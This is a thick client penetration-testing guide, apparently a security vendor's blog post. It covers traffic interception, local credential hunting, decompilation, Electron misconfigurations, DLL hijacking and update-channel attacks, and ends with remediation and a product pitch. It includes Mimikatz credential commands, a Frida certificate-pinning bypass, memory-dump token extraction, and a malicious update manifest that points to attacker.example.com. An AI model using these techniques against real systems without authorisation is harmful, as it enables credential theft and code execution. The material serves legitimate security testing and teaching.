Thick Client Penetration Testing: Methodology and Tools Guide
Thick client applications remain a persistent blind spot in enterprise security programmes. While web app pentesting has matured into a well-documented discipline with standardised tooling, thick client assessments still trip up teams that treat them the same as a web engagement. The attack surface is fundamentally different: local filesystem access, binary reversibility, OS-level IPC, DLL load order abuse, and memory resident secrets all come into scope the moment you're dealing with a desktop application.
This guide covers a structured methodology for assessing thick client applications across the four dominant technology stacks — Electron, .NET WinForms/WPF, Java Swing/JavaFX, and Qt — with real tool commands and the specific findings patterns that appear repeatedly in production assessments.
What Is a Thick Client Application?
A thick client (also called a fat client or rich client) is a desktop application that runs natively on the operating system, as opposed to a thin client which delegates most logic to a server. Thick clients may be fully self-contained or they may communicate with a backend over a network protocol.
The technology stack determines your analysis approach almost entirely:
| Technology | Runtime | Primary Analysis Tool | Key Risk |
|---|---|---|---|
| Electron | Node.js + Chromium | DevTools, asar extraction | nodeIntegration, RCE via XSS |
| .NET WinForms/WPF | CLR (managed) | dnSpy, ILSpy, dotPeek | Trivial decompilation, hardcoded secrets |
| Java Swing/JavaFX | JVM (managed) | jadx, Fernflower, CFR | Trivial decompilation, serialisation |
| Qt (C++) | Native (compiled) | Ghidra, IDA, x64dbg | Memory analysis, binary reversing |
Architecture: Two-Tier vs Three-Tier
Before starting any analysis, establish the application's network architecture. This determines what protocols to intercept and what server-side attack surface exists.
Two-tier (direct database): The thick client connects directly to a database server — typically SQL Server, Oracle, or MySQL. The client application contains the database connection string, credentials, and query logic. This architecture is a goldmine: extract the connection string and you have direct database access, often with an overprivileged account. Look for credentials in config files, the registry, or embedded in the binary.
Three-tier (API backend): The thick client communicates with an intermediate application server — a REST API, SOAP/WS endpoint, gRPC service, or custom TCP protocol. The application logic lives on the server. This is architecturally sounder but the client still handles authentication tokens, session state, and input validation client-side before the API call is made. Bypass the client, call the API directly.
Recon step one: Run netstat -anob (Windows) or ss -tp (Linux) while the application starts. Established connections immediately reveal the backend tier: port 1433/3306/5432 means direct DB; port 443/8443/8080 means API backend; custom high ports often mean proprietary protocols worth reversing.
Network Traffic Analysis
Wireshark for Non-TLS Protocols
For applications using unencrypted protocols (still common on internal networks, legacy industrial software, and two-tier DB connections), Wireshark provides full session visibility. Start a capture on the loopback adapter (lo on Linux, use Npcap's loopback on Windows) to catch local IPC, and on the primary interface for network traffic.
Filter for the application process using display filters. If the application talks to SQL Server on port 1433:
tcp.port == 1433 and not tcp.analysis.flags
TDS (Tabular Data Stream) dissectors in Wireshark will decode SQL Server traffic automatically, showing you queries and responses in cleartext.
Proxying HTTPS Traffic with Burp Suite
Thick clients that use HTTPS to talk to REST APIs need their TLS trust anchors manipulated. The approach depends on how the application validates certificates.
System proxy approach (works for most apps):
- Set Burp's proxy listener to
127.0.0.1:8080 - Set Windows system proxy to
127.0.0.1:8080via Internet Options ornetsh winhttp set proxy 127.0.0.1:8080 - Import Burp's CA certificate into the Windows Certificate Store under Trusted Root Certification Authorities
For applications with certificate pinning or custom trust stores:
# For Java applications — add Burp CA to the JVM truststore
keytool -import -alias burp -keystore $JAVA_HOME/lib/security/cacerts \
-file burp_ca.der -storepass changeit -noprompt
# For .NET applications — Burp CA in Windows cert store usually suffices
# For pinned certs, use Frida to hook X509Certificate.Equals or
# ServicePointManager.ServerCertificateValidationCallback
frida -l ssl-pinning-bypass.js -f com.target.app --no-pause
Fiddler is an alternative worth knowing — it auto-configures the system proxy and installs its root CA on launch, making it faster for initial triage. But Burp's scanner and repeater make it the better long-term tool once you've identified interesting endpoints.
Intercepting Custom TCP Protocols
When the application uses a proprietary binary protocol, use proxenet or write a simple Python mitm proxy with mitmproxy's TCP mode. For TLS-wrapped custom protocols, use sslstrip at the network layer or Frida hooks at the application layer to intercept post-decryption.
Local Storage Analysis
Thick clients routinely persist sensitive data to disk. Work through each storage location systematically.
SQLite Databases
Electron apps, Firefox-based browsers, and many Java/Qt apps store local data in SQLite. Find databases under %APPDATA%, %LOCALAPPDATA%, and %PROGRAMDATA% on Windows, or ~/.config/, ~/.local/share/ on Linux:
# Find all SQLite files for a given application
Get-ChildItem -Path $env:APPDATA -Recurse -Filter "*.db" -ErrorAction SilentlyContinue
Get-ChildItem -Path $env:LOCALAPPDATA -Recurse -Filter "*.sqlite" -ErrorAction SilentlyContinue
# Linux equivalent
find ~/.config ~/.local/share -name "*.db" -o -name "*.sqlite" 2>/dev/null
# Open and dump schema + sensitive tables
sqlite3 ~/Library/Application\ Support/Slack/Cookies .dump | grep -i "token\|session\|auth"
sqlite3 target.db "SELECT * FROM sessions; SELECT * FROM credentials;"
Windows Registry
Legacy applications and installers routinely write credentials, API keys, and configuration to the registry. Query common hives:
# Search HKCU and HKLM for password-adjacent keys
reg query HKCU\Software\TargetApp /s /f "password" /t REG_SZ
reg query HKLM\Software\TargetApp /s /f "password" /t REG_SZ
reg query HKCU\Software\TargetApp /s /f "token" /t REG_SZ
# Check Windows Credential Manager — often populated by thick clients
cmdkey /list
# Extract with Mimikatz or credman
privilege::debug
sekurlsa::credman
Config Files and %APPDATA%
Walk the application's data directories manually. Common patterns:
# PowerShell: find config files and grep for secrets
$appPath = "$env:APPDATA\TargetApplication"
Get-ChildItem $appPath -Recurse | Where-Object {
$_.Extension -in '.xml','.json','.ini','.cfg','.config','.properties','.yaml'
} | ForEach-Object {
$content = Get-Content $_.FullName -ErrorAction SilentlyContinue
if ($content -match 'password|secret|token|key|credential') {
Write-Host $_.FullName
$content | Select-String 'password|secret|token|key|credential'
}
}
Java applications frequently use .properties files with plaintext database passwords. .NET apps use app.config / web.config with connectionStrings that are often only Base64-encoded, not encrypted.
Binary Analysis
.NET Applications with dnSpy
.NET managed assemblies compile to MSIL (Common Intermediate Language), which is trivially decompiled back to near-source-quality C#. Download dnSpy (or its maintained fork dnSpyEx) and drag the application's .exe or .dll files directly into it.
Focus areas in dnSpy:
- Search (Ctrl+Shift+F) for
password,apikey,secret,connectionString,AES,DES,MD5 - Find authentication logic — look for classes named
Auth,Login,Token,Session - Identify validation bypass opportunities — client-side role checks, feature flags, licence enforcement
- Extract cryptographic keys and IVs hardcoded in byte arrays
# If the assembly is obfuscated, de4dot strips most commercial obfuscators
de4dot.exe TargetApp.exe -o TargetApp-clean.exe
# Then load the clean binary in dnSpy
# For ConfuserEx-protected assemblies:
de4dot.exe TargetApp.exe --strfix --decryptstrings=1
Java Applications with jadx
Java bytecode decompiles cleanly with jadx. For standalone JAR files:
# Decompile entire JAR to source tree
jadx -d output_dir target.jar
# GUI mode for interactive browsing
jadx-gui target.jar
# For Android APKs (same tool)
jadx-gui target.apk
# Search decompiled source for secrets
grep -r "password\|apiKey\|secret\|token\|jdbc:" output_dir/ --include="*.java"
Look specifically at HttpURLConnection and OkHttp client setup code to find hardcoded base URLs, authentication headers, and API keys embedded in request builders.
Native Binaries with Ghidra
For Qt and other C++ applications, the NSA's Ghidra provides decompilation to pseudo-C. Import the binary, let auto-analysis run (10–30 minutes for large binaries), then:
# Before Ghidra: quick strings analysis to identify interesting artifacts
strings -n 8 target.exe | grep -iE "https?://|password|secret|api[_-]?key|jdbc:|BEGIN (RSA|EC|PRIVATE)"
# In Ghidra: use the Symbol Tree to navigate to interesting functions
# Search > For Strings: filter for "password", "secret", URLs
# Right-click interesting strings → References → Show References to get call sites
For Qt applications, the QSettings API writes to the registry on Windows and INI files on Linux — trace calls to QSettings::value() to understand what's being persisted.
Electron Application Testing
Electron deserves its own section because it combines web vulnerabilities (XSS) with native OS access (Node.js APIs), making the impact of seemingly mundane bugs dramatically higher than in a browser context.
Extracting Application Source
Electron apps ship their JavaScript source in an app.asar archive. Extract it to read the full application code:
# Install asar globally
npm install -g @electron/asar
# Find the archive
find /Applications/TargetApp.app -name "app.asar" 2>/dev/null
# Windows: C:\Users\%USERNAME%\AppData\Local\Programs\TargetApp\resources\
# Extract
asar extract app.asar app-source/
# Now grep the JS source directly
grep -r "nodeIntegration\|contextIsolation\|enableRemoteModule\|webSecurity" app-source/
grep -r "eval\|innerHTML\|document\.write\|dangerouslySetInner" app-source/
grep -r "password\|secret\|apiKey\|token" app-source/ --include="*.js" | grep -v node_modules
Critical Electron Security Settings
The BrowserWindow and webPreferences configuration in the main process determines the entire security posture of an Electron app. Look for these flags in the extracted source:
// HIGH SEVERITY — XSS becomes RCE if nodeIntegration is true
new BrowserWindow({
webPreferences: {
nodeIntegration: true, // BAD: renderer can access require()
contextIsolation: false, // BAD: no boundary between preload and page
enableRemoteModule: true, // BAD: deprecated, exposes main process
webSecurity: false, // BAD: disables SOP
sandbox: false // BAD: no Chromium sandbox
}
})
// ALSO CHECK: if contextIsolation:true but preload script
// improperly exposes dangerous APIs via contextBridge
contextBridge.exposeInMainWorld('api', {
exec: (cmd) => require('child_process').exec(cmd) // RCE exposed to renderer
})
Remote Debugging Port
Many Electron apps ship with the remote debugging port enabled in development builds, and some accidentally leave it enabled in production releases:
# Check if the app was launched with --inspect or --remote-debugging-port
wmic process where "name='TargetApp.exe'" get CommandLine
ps aux | grep -i "inspect\|remote-debugging"
# If port 9229 (Node inspector) or 9222 (Chrome DevTools) is open:
# Connect from Chrome: chrome://inspect
# Or via command line:
node --inspect-brk=9229 # connects to already-running inspector
# Check for exposed debugging ports
netstat -anob | grep "9229\|9222\|9230"
If the app is listening on these ports, you have full Node.js REPL access to the main process — game over for confidentiality and integrity.
Process Analysis and IPC
Process Monitor (Procmon) for File and Registry Activity
Sysinternals Process Monitor captures every file, registry, network, and process event. Configure it to filter on the target process immediately after launch to capture initialisation behaviour:
Filter rules to add in Procmon:
Process Name → is → TargetApp.exe → Include
Operation → is → RegQueryValue → Include
Operation → is → ReadFile → Include
Result → is → NAME NOT FOUND → Include (for DLL hijacking)
Result → is → SUCCESS → Include
The NAME NOT FOUND result filter is the DLL hijacking identification filter. Any DLL that the process looks for but doesn't find is a potential hijack candidate if you can write to any directory in the search path.
Process Hacker for IPC and Memory
Process Hacker 2 (or the maintained fork System Informer) provides visibility into handles, threads, memory regions, and IPC mechanisms. For thick client assessment:
- Handles tab: Look for named pipes (
\Device\NamedPipe\), shared memory sections, and mutexes. Named pipes with weak DACLs allow impersonation or data injection. - Memory tab → Strings: Scan process memory for credentials, tokens, and decrypted data that never hits disk. Filter for strings containing
@,Bearer,password. - Network tab: Per-process connection tracking, faster than netstat for dynamic connection mapping.
DLL Hijacking
DLL hijacking exploits Windows' DLL search order to load an attacker-controlled DLL instead of the intended one. The Windows search order for applications not using manifest-declared paths is:
- The directory from which the application loaded
C:\Windows\System32C:\Windows\SystemC:\Windows- The current working directory
- Directories listed in the
PATHenvironment variable
The application directory (step 1) is where hijacks most frequently land. If the application loads a DLL that doesn't exist in its own directory and steps 2–4 don't satisfy the load, Windows will check the current working directory — which may be user-writable.
# Procmon filter to find hijackable DLLs:
# Set: Result "is" "NAME NOT FOUND" AND Path "ends with" ".dll"
# Run the app through its full workflow (login, use features, logout)
# Export filtered results to CSV for analysis
# Verify writeability of candidate directories
icacls "C:\Program Files\TargetApp\"
# Look for (W) or (F) permissions for BUILTIN\Users or INTERACTIVE
# Create a proof-of-concept DLL (C, compile with MinGW or MSVC):
# The DLL's DllMain runs as the application's user context
# Impact: persistence, privilege escalation (if app runs as SYSTEM/admin)
CVSSv3 note: DLL hijacking in a user-writable application directory typically scores 7.8 (High) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. If the application runs as a privileged service, it escalates to 8.8 (High) with privilege escalation impact.
Authentication and Credential Storage
Credential storage defects are among the most common thick client findings. Work through the following checks in order of severity:
Plaintext and Weak Encoding
# After identifying config file locations via Procmon, search for credentials
# Common patterns in XML/JSON/INI config files:
grep -rE "(<password>|\"password\":|password=|passwd=|pwd=)" \
"$env:APPDATA\TargetApp" --include="*.xml" --include="*.json" --include="*.ini"
# Base64 is not encryption — decode any suspicious strings
echo "dXNlcjpwYXNzd29yZA==" | base64 -d
# Output: user:password
# Check for hex-encoded credentials
echo "757365723a70617373776f7264" | xxd -r -p
Windows DPAPI Misuse
Applications that use Windows DPAPI correctly (CryptProtectData / ProtectData) tie encrypted blobs to the user account — the OS handles key management. This is acceptable. The misuse patterns to look for are:
- Application provides an entropy value hardcoded in the binary (reduces protection to "find the binary")
- DPAPI blob stored in a world-readable registry key or file path
- Application decrypts and logs credentials in plaintext to a debug log file
Weak Cryptography in Credential Storage
# In dnSpy/.NET: search for these cryptographic anti-patterns
# ECB mode (no IV — identical plaintext produces identical ciphertext)
new AesCryptoServiceProvider { Mode = CipherMode.ECB }
# Hardcoded symmetric key
byte[] key = { 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41 };
# MD5 or SHA1 for password hashing (no salt, fast to brute)
MD5.Create().ComputeHash(Encoding.UTF8.GetBytes(password))
# Single-iteration PBKDF2 (computationally trivial to brute)
new Rfc2898DeriveBytes(password, salt, iterations: 1)
Auto-Update Mechanism Attacks
Auto-update systems are a persistent weak point in thick client applications. The threat model is a MITM attacker (or a compromised update CDN) delivering a malicious update package.
What to Test
- Update channel over HTTP: Any update channel not using HTTPS is immediately exploitable with ARP spoofing or DNS poisoning on a local network
- No signature verification: The update package is downloaded and executed without verifying a cryptographic signature against a trusted public key
- Signature verification bypass: The verification logic can be patched or bypassed client-side
- Update URL in config file: If the update server URL is in a user-writable config file, redirect it to an attacker-controlled server
# Intercept the update check in Burp Suite
# Look for requests to endpoints like /api/update, /version.json, /latest.json
# Modify the response to point to attacker-controlled update package URL
# Example malicious version response
{
"version": "9.9.9",
"url": "http://attacker.example.com/update.exe",
"checksum": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
}
# For Electron apps using electron-updater, check for:
# - publisherName verification (ASAR integrity)
# - useMultiplePublishLocations misconfig
# - allowPrerelease: true on stable channels
CVSSv3 for unsigned updates over HTTP: 8.1 (High) — AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. High attack complexity because MITM requires network position, but no authentication and full code execution makes this critical in shared network environments.
Memory Analysis
Sensitive data that is never written to disk still lives in process memory — and can be recovered. This is particularly relevant for credentials and session tokens that the application decrypts at runtime.
# Process Hacker: right-click process → Properties → Memory tab
# Click "Strings" → filter minimum length 8 → search for "Bearer", "token", "password"
# Automated memory string extraction with PowerShell
# (requires admin or SeDebugPrivilege)
$proc = Get-Process TargetApp
$handle = [System.Runtime.InteropServices.Marshal]
# Full implementation requires P/Invoke to ReadProcessMemory
# Alternative: use procdump + strings
procdump.exe -ma TargetApp.exe memdump.dmp
strings -n 8 memdump.dmp | grep -iE "bearer|authorization|password|secret"
# For .NET apps: use ClrMD or dotnet-dump for managed heap inspection
dotnet-dump collect -p
dotnet-dump analyze core_
# > dumpheap -type System.String -stat
# > dumpheap -mt -min 20
Common Findings and Severity Reference
| Finding | CVSSv3 Score | Severity |
|---|---|---|
| Plaintext credentials in config file | 7.1 | High |
| Hardcoded API key / DB password in binary | 9.1 | Critical |
| Electron: nodeIntegration enabled + XSS | 9.6 | Critical |
| Electron: remote debugging port exposed | 9.8 | Critical |
| DLL hijacking (user-writable app dir) | 7.8 | High |
| Update channel over HTTP (no TLS) | 8.1 | High |
| Unsigned update packages | 8.1 | High |
| Client-side authorisation bypass (API not enforced server-side) | 8.8 | High |
| Sensitive data in process memory (no zeroing) | 5.5 | Medium |
| Weak crypto (DES, RC4, ECB mode AES) for stored credentials | 7.5 | High |
| Named pipe with weak DACL (impersonation) | 7.8 | High |
| Direct DB connection with overprivileged account | 9.8 | Critical |
Remediation Guidance
Credential and Secret Storage
- Never store credentials in config files, the registry, or hardcoded in binaries. Use OS-provided secret stores: Windows Credential Manager (via DPAPI), macOS Keychain, libsecret on Linux.
- For API keys, use short-lived tokens with server-side refresh. Never embed long-lived API keys in distributed binaries.
- Zero out sensitive memory after use: in .NET, use
SecureStringor manually overwrite arrays; in C++, useSecureZeroMemory().
Electron Security Hardening
- Set
nodeIntegration: falseandcontextIsolation: trueon allBrowserWindowinstances without exception. - Use
contextBridgeto expose only the minimum required IPC surface to renderer processes. - Implement a strict Content Security Policy via
webPreferences.webSecurity: trueand a CSP meta tag or HTTP header for loaded content. - Strip
--inspect,--inspect-brk, and--remote-debugging-portflags from production builds. Useapp.commandLine.removeSwitch('inspect')in the main process.
Binary and Decompilation Protections
- For .NET: Obfuscation (Eazfuscator, Dotfuscator, ConfuserEx) raises the bar but is not a substitute for not embedding secrets. Treat all .NET binaries as readable source code.
- Move sensitive business logic and all secret validation to the server. The client is always untrusted.
- For Electron: enable ASAR integrity checking in
electron-updaterand sign all ASAR archives.
Update Mechanism
- Serve all update manifests and packages exclusively over TLS with certificate pinning or HSTS preloading.
- Sign all update packages with an Ed25519 or ECDSA key. Verify signatures before execution. For Electron,
electron-updatersupports code signing verification natively — enable it. - Never put the update server URL in a user-writable location. Hard-code it in the binary or a signed manifest.
DLL Hijacking
- Set the application directory permissions so that standard users cannot write to it (remove
BUILTIN\Users:(W)). - Use
SetDllDirectory("")in the application's entry point to remove the current working directory from the DLL search path. - Use application manifests to declare DLL dependencies as known DLLs where possible.
IPC and Named Pipes
- Set explicit security descriptors on named pipes — deny write access to untrusted users. Use
CreateNamedPipewith a proper SECURITY_ATTRIBUTES structure. - Validate that the connecting process is the expected application before accepting IPC data. Use
GetNamedPipeClientProcessIdto retrieve and verify the connecting PID.
Ironimo covers the API and web layer automatically
Thick client applications almost always have a backend API. Ironimo runs the same tests a professional pentester runs against REST, GraphQL, and SOAP endpoints — authentication bypass, BOLA/IDOR, injection, broken access control — continuously, without scheduling a manual engagement.
While you're doing the binary analysis and memory forensics on the thick client, let Ironimo run concurrent scans against the API backend. Surface mismatches between client-side enforcement and server-side validation before an attacker does.
Start free scan